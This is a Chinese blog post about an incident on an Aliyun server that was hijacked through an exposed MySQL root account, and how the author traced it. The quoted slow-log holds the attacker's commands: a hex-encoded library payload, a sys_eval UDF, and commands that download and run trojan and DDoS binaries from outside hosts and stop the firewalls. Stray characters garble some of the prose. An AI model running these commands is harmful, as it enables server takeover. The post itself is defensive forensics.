重磅-記一次驚心動(dòng)魄的阿里云服務(wù)器被入侵過(guò)程定位

#### 現(xiàn)象

- 有很多命名奇怪的進(jìn)程(現(xiàn)場(chǎng)圖沒(méi)有保留,這個(gè)是自己模擬的):

![這里寫(xiě)圖片描述](http://img.blog.csdn.net/20160928082801322)

##### 定位步驟一:查看進(jìn)程文件位置

通過(guò)命令

```

ll /proc/pid

```

查看進(jìn)程文件exe執(zhí)行路徑,打開(kāi)后整個(gè)人都驚呆了!mysql目錄和mysql/data目錄多了很多奇怪的so文件和可執(zhí)行文件:

![休息休息](http://img.blog.csdn.net/20160928082623163)

![這里寫(xiě)圖片描述](http://img.blog.csdn.net/20160928082700165)

##### 定位步驟二:立馬kill掉進(jìn)程和文件

- 批量kill進(jìn)程:介紹一個(gè)在[stackoverflow](http://stackoverflow.com/questions/3510673/find-and-kill-a-process-in-one-line-using-bash-and-regex/3510850#3510850)看到的人性化易懂的批量kill進(jìn)程的方法:

```

kill `ps -ef | grep [s]leep | awk '{print $2}'`

解釋:

- [s]正則是為了防止匹配到ps本身,免去了grep -V

- awk '{print $2}' 只輸出第二列的進(jìn)程號(hào)

- ``是執(zhí)行命令返回結(jié)果,shell語(yǔ)法

- kill grep出來(lái)的所有匹配的進(jìn)程號(hào)

```

##### 定位步驟三:修改root密碼&關(guān)閉ftp匿名用戶

正常攻擊也沒(méi)有辦法上傳木馬文件重付,初步懷疑是服務(wù)器密碼泄露,被登錄進(jìn)來(lái)凫乖,然后上傳了木馬病毒腳本文件确垫,于是通過(guò)阿里云控制臺(tái)修改了root密碼愕把,并且重啟了機(jī)器。

或者另一種可能是通過(guò)ftp上傳的森爽。此外又看了ftp匿名用戶打開(kāi)了

##### 定位步驟四:再次受到攻擊:藁怼!爬迟!

原本以為修改了root密碼并重啟了服務(wù)器問(wèn)題已經(jīng)解決橘蜜,但是過(guò)了一兩天阿里云又提示有告警,每隔幾天就爆出問(wèn)題付呕,實(shí)在是想不到原因计福,最后發(fā)現(xiàn)個(gè)現(xiàn)象木馬進(jìn)程都是mysql用戶啟動(dòng)的,mysql攻擊也不能自己?jiǎn)?dòng)進(jìn)程徽职,就算存在sql注入也沒(méi)有理由能上下載文件吧象颖。

##### 定位步驟五:捕捉現(xiàn)場(chǎng)-把mysql全日志打開(kāi)

既然問(wèn)題是出在mysql,把mysql的所有查詢?nèi)罩灸范ぃ裺low_log的時(shí)間改成0:

```

mysql -help | grep cnf

vi /etc/my.cnf

long_query_time= 0

slow_query_log=ON

slow_query_log_file=/alidata/log/mysql/slow.log

```

##### 定位步驟五:分析日志&入侵過(guò)程

觀察了一斷時(shí)間说订,看slow.log一切豁然開(kāi)朗了:

![這里寫(xiě)圖片描述](http://img.blog.csdn.net/20160928183201292)

有很多奇怪的操作,包括DUMPFILE導(dǎo)出日志

```

//創(chuàng)建表

create table if not exists tempMix4(data LONGBLOB);

// 第一步設(shè)置變量

set @a = concat('',0x4D5A4B45524E454C33322E444C4C00004C6F61644C696272617279410000000047657450726F63416464726573730000557061636B42794477696E6740000000504500004C010200001000000800000000000000E0000E210B0100390050000000600000000000008D09010000100000006000000000001000100000000200000400000000000000040000000000000000800100000200000000000002000000000010000010000000001000001000000000000010000000590C0100B8000000410C01001400000000D000009003000000000000000000000000000000000000480000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002E557061636B000000C00000001000000000000000000000000000000000000000000000600000E02E7273726300000000B0000000D00000113D000000020000000000000000000000000000600000E088010010140D01101B0000000E00000000100010BB0B0110070C01100A0C0110180C0110F30B0110FC0F00102E0B0110300B0110D009011065C600103D0C0110FFBF0010220B0110000400007C070000C40B0000400100009F02000090D3001000000000FFFFFFFF0100000001000000010000000100000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058D00000380300000000000000000000380334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000003400BD04EFFE00000100060002001D235600060002001D2356003F00000000000000040000000100000000000000000000000000000098020000000053007400720069006E006700460069006C00650049006E0066006F00000074020000000030003000300030003000340045003400000040002800010043006F006D006D0065006E0074007300000032003000300039002D00310032002D00310030002000310036003A00350031003A003100390000003C001C00010043006F006D00700061006E0079004E0061006D0065000000000050005000530074007200650061006D00200049006E0063002E000000500026000100460069006C0065004400650073006300720069007000740069006F006E000000000050005000530074007200650061006D00200049006E007300740061006C006C006500720000000000380018000100460069006C006500560065007200730069006F006E000000000032002E0036002E00380036002E00380039003800390000009C00760001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000280043002900200032003000300035002D0032003000300039002000500050005300740072006

//第二步 插入到臨時(shí)表

INSERT INTO tempMix VALUES (@a);

// 導(dǎo)入函數(shù)

# User@Host: root[root] @? [115.28.238.77]? Id:? ? 3

# Query_time: 0.001387? Lock_time: 0.000947 Rows_sent: 0? Rows_examined: 0

SET timestamp=1471084691;

CREATE FUNCTION sys_eval RETURNS string SONAME 'sys.so';

# User@Host: root[root] @? [115.28.238.77]? Id:? ? 3

# Query_time: 0.000213? Lock_time: 0.000113 Rows_sent: 0? Rows_examined: 0

SET timestamp=1471084691;

select sys_eval("wget http://www.zuimihu.cn/DDos;chmod 777 DDos;./DDos;");

# Time: 160831? 3:51:28

# User@Host: root[root] @? [121.42.195.49]? Id:? 115

# Query_time: 2.444778? Lock_time: 0.000000 Rows_sent: 1? Rows_examined: 0

SET timestamp=1472586688;

select sys_eval("/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://211.127.220.60:809/TSmmm;chmod 777 TSmmm;./TSmmm;");

```

##### 定位步驟六:入侵原因分析

通過(guò)代碼層面入侵的可能性非常低潮瓶,唯一的可能性是mysql的root賬號(hào)密碼被泄露或者被破解導(dǎo)致的陶冷,且從slow-log看訪問(wèn)ip就不是本機(jī),可以推斷出是遠(yuǎn)程登錄上mysql然后進(jìn)行攻擊毯辅。

##### 定位步驟七:防范措施

核心賬號(hào)密碼一定要足夠的復(fù)雜埂伦,保密,定期更換思恐,最好限制IP登錄沾谜,只允許本機(jī)登錄,再開(kāi)放其他低權(quán)限的賬戶胀莹。

修改密碼和權(quán)限后一周內(nèi)也沒(méi)有出現(xiàn)過(guò)問(wèn)題基跑。

#### 相關(guān)學(xué)習(xí)

- [MySQL慢日志查詢?nèi)馕觯簭膮?shù)、配置到分析工具](http://mp.weixin.qq.com/s?__biz=MzI4NTA1MDEwNg==&mid=2650756876&idx=1&sn=d6c91752f05cfa0a3c55b4b3b433733a&chksm=f3f9e299c48e6b8f12f91018ce14a0e15acbffe8ce09f4c62a82661acd29abdce94723c13fc0&mpshare=1&scene=1&srcid=0929TCKiJ86ZAlthrUPVOs4s#rd)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末嗜逻,一起剝皮案震驚了整個(gè)濱河市涩僻,隨后出現(xiàn)的幾起案子缭召,更是在濱河造成了極大的恐慌栈顷,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,378評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件嵌巷,死亡現(xiàn)場(chǎng)離奇詭異萄凤,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)搪哪,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén)靡努,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事惑朦∈扌梗” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,702評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵漾月,是天一觀的道長(zhǎng)病梢。 經(jīng)常有香客問(wèn)我,道長(zhǎng)梁肿,這世上最難降的妖魔是什么蜓陌? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,259評(píng)論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮吩蔑,結(jié)果婚禮上钮热,老公的妹妹穿的比我還像新娘。我一直安慰自己烛芬,他們只是感情好隧期,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,263評(píng)論 5 371
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著赘娄,像睡著了一般厌秒。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上擅憔,一...
    開(kāi)封第一講書(shū)人閱讀 49,036評(píng)論 1 285
  • 那天鸵闪,我揣著相機(jī)與錄音,去河邊找鬼暑诸。 笑死蚌讼,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的个榕。 我是一名探鬼主播篡石,決...
    沈念sama閱讀 38,349評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼西采!你這毒婦竟也來(lái)了凰萨?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 36,979評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤械馆,失蹤者是張志新(化名)和其女友劉穎胖眷,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體霹崎,經(jīng)...
    沈念sama閱讀 43,469評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡珊搀,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,938評(píng)論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了尾菇。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片境析。...
    茶點(diǎn)故事閱讀 38,059評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡囚枪,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出劳淆,到底是詐尸還是另有隱情链沼,我是刑警寧澤,帶...
    沈念sama閱讀 33,703評(píng)論 4 323
  • 正文 年R本政府宣布沛鸵,位于F島的核電站忆植,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏谒臼。R本人自食惡果不足惜朝刊,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,257評(píng)論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望蜈缤。 院中可真熱鬧拾氓,春花似錦、人聲如沸底哥。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,262評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)趾徽。三九已至续滋,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間孵奶,已是汗流浹背疲酌。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,485評(píng)論 1 262
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留了袁,地道東北人朗恳。 一個(gè)月前我還...
    沈念sama閱讀 45,501評(píng)論 2 354
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像载绿,于是被迫代替她去往敵國(guó)和親粥诫。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,792評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容